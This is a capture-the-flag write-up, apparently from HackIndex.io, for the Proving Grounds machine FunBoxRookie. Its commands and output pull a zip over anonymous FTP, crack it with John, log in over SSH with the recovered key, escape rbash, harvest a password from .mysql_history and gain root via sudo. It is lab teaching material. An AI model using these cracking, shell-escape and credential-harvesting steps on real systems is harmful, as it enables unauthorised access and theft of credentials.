Skip to content
HackIndex.io

FunBoxRookie Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 3 min read

The Husky Hacker

sysadmin

FunBoxRookie exposes an anonymous FTP server holding a password-protected zip per user. Cracking tom's archive yields an SSH private key that logs in to a restricted rbash shell. After escaping the shell, a MySQL history file leaks tom's password, and the account has unrestricted sudo for root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|   anna.zip  ariel.zip  bud.zip  homer.zip  john.zip  marge.zip  tom.zip  zlatan.zip
22/tcp open  ssh
80/tcp open  http
|_http-title: Apache2 Ubuntu Default Page: It works
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

FTP allows anonymous login and lists a zip archive for each user. Only tom.zip is useful. Pull it down.

Exploitation

Anonymous FTP and zip cracking

Log in anonymously and download the archive.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP 
220 ProFTPD 1.3.5e Server (Debian)
Name: anonymous
230 Anonymous access granted, restrictions apply
ftp> get tom.zip
226 Transfer complete

The archive is password-protected. Convert it with zip2john and crack it with John.

┌──(kali㉿kali)-[~]
└─$ zip2john tom.zip > tom.hash
┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt tom.hash 
$TOM_ZIP_PASSWORD   (tom.zip/id_rsa)
1g 0:00:00:00 DONE

Unlock the archive with the recovered password to extract an SSH private key for tom.

┌──(kali㉿kali)-[~]
└─$ unzip -P <password> tom.zip
┌──(kali㉿kali)-[~]
└─$ ssh -o StrictHostKeyChecking=no -i id_rsa tom@$TARGET_IP 
tom@funbox2:~$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),27(sudo),108(lxd)
tom@funbox2:~$ cd ..
-rbash: cd: restricted
Explain command
-i Use this private key for authentication.

The login drops into a restricted rbash shell. Escape it by reconnecting and forcing a non-profile bash.

┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa tom@$TARGET_IP -t "bash --noprofile" 
tom@funbox2:~$ cd ..
tom@funbox2:/home$
Explain command
-t Force a pseudo-terminal and run the given command, here a shell that skips rbash profiles.

With a full shell, enumerate tom's home directory and read the MySQL history file.

Privilege Escalation

Credentials in shell history

The .mysql_history file contains an insert statement with a plaintext value.

┌──(kali㉿kali)-[~]
└─$ cat ~/.mysql_history 
_HiStOrY_V2_
show\040databases;
use\040support
insert\040into\040support\040(tom,\040$TOM_PASSWORD);
quit

The string next to tom is his password. Check the sudo rights with it.

┌──(kali㉿kali)-[~]
└─$ sudo -l 
User tom may run the following commands on funbox2:
    (ALL : ALL) ALL

tom may run any command as root.

┌──(kali㉿kali)-[~]
└─$ sudo su 
tom@funbox2:~$ sudo su
root@funbox2:/home/tom# id
uid=0(root) gid=0(root) groups=0(root)

Unrestricted sudo gives a root shell.

Related

FTP Anonymous Login Exploitation
Blog

FTP Anonymous Login Exploitation

Exploit anonymous FTP login to gain unauthorised access, enumerate files, and extract sensitive data...
SSH Private Key Discovery and Passphrase Cracking
Blog

SSH Private Key Discovery and Passphrase Cracking

Locate SSH private keys on compromised hosts, extract them, and crack passphrases offline using John...
Shell history credential hunting
Blog

Shell history credential hunting

Extracts credentials and sensitive data from shell history files (.bash_history, .zsh_history) acros...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...